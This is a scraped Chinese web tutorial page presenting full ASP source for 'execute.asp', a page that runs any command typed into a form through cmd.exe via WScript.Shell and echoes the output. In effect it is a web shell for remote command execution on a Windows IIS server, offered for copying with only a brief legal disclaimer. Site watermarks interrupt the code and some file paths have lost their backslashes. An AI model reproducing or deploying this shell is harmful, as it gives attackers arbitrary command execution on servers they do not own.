2.9 可以这行系统命令的ASP原码放松

2016-02-19 13:35 0 1 收藏

想要天天向上,就要懂得享受学习。图老师为大家推荐2.9 可以这行系统命令的ASP原码放松,精彩的内容需要你们用心的阅读。还在等什么快点来看看吧!

【 tulaoshi.com - Web开发 】

注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。
copy下来另存为execute.asp.

<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
<p align="left">输入要执行的命令:<input type="text" name="ml"

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/webkaifa/)

size="20" value="dir c:" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1">
<input type="submit" value="执行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:winntsystem32cmd.exe /c "&ml&" >c:whoamI.txt" '修改

whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & " "
Response.write " 命令成功执行!"&"<br><br>"
else
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行

!"&"<br><br>"

end if
'response.write cmd

function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, F

alse) '读文件,别忘

了修改路径.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"<br>"
loop
thisfile.Close
set fs=nothing
%>

</body>

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/webkaifa/)

</html>

请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。

来源:https://www.tulaoshi.com/n/20160219/1604718.html

延伸阅读
标签: 电脑入门
     QQ旋风今日更新到了2.9版本,作为迅雷的挑战者,QQ旋风的离线下载功能也吸引了不少的QQ会员用户,目前QQ旋风的离线权限已经对年费会员和vip5开放,新版本主要做了一些优化,旋风用户推荐更新。 版本最新特性 1.推出离线下载功能,支持HTTP,eMule,BT三大协议 (暂对年费会员、Vip5及以上放量中) 2.支持rmvb,r...
标签: ASP
          自从Microsoft推出ASP技术后,由于ASP在创建动态交互式站点上的强大功能及其代码编写的简便性,使ASP在很多Internet/Intranet/Extranet网站上得到了极其广泛的应用,尤其是涉及到数据库操作的网站应用系统更是倾向于采用ASP技术。但由于众所周知的原因,ASP只能工作于MS自己的操...
标签: Web开发
在Win2000系统中,可以通过Wscript.Shell对象的Exec方法执行命令, 简单的代码如下: % Response.Buffer = true % %     url = "www.topronet.com"       Set objWShell = CreateObject("WScript.Shell")     Set objCmd = objWShell.Exec("ping " &...
  在“Linux 文件命令精通指南”中,我们讨论了利用最基础和最常用 Linux 文件命令所需的基本信息。在本文中,我将对 Linux 系统命令作同样的讨论。 我们在前一篇文章中了解到,在 Linux/UNIX 世界中,一切都被看作文件,包括系统管理命令。单独对于组织而言,我们在本系列的第一部分中讨论了文件命令,并将在本文中提供最有...
标签: 电脑入门
系统服务、自启动程序、进程是系统三大要素。在对系统进行优化或者安全检查的时候,我们经常要对系统三大件进行监测。虽然已经有很多专业软件可以对三大件进行管理,但是对于Windows XP用户来说,只要利用系统本身的组件和命令就可以管好它们了。 用NET START命令监测服务,一动便知 很多朋友通过手动关闭不需要的服务来优化系统。不过,由...

经验教程

702

收藏

5
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部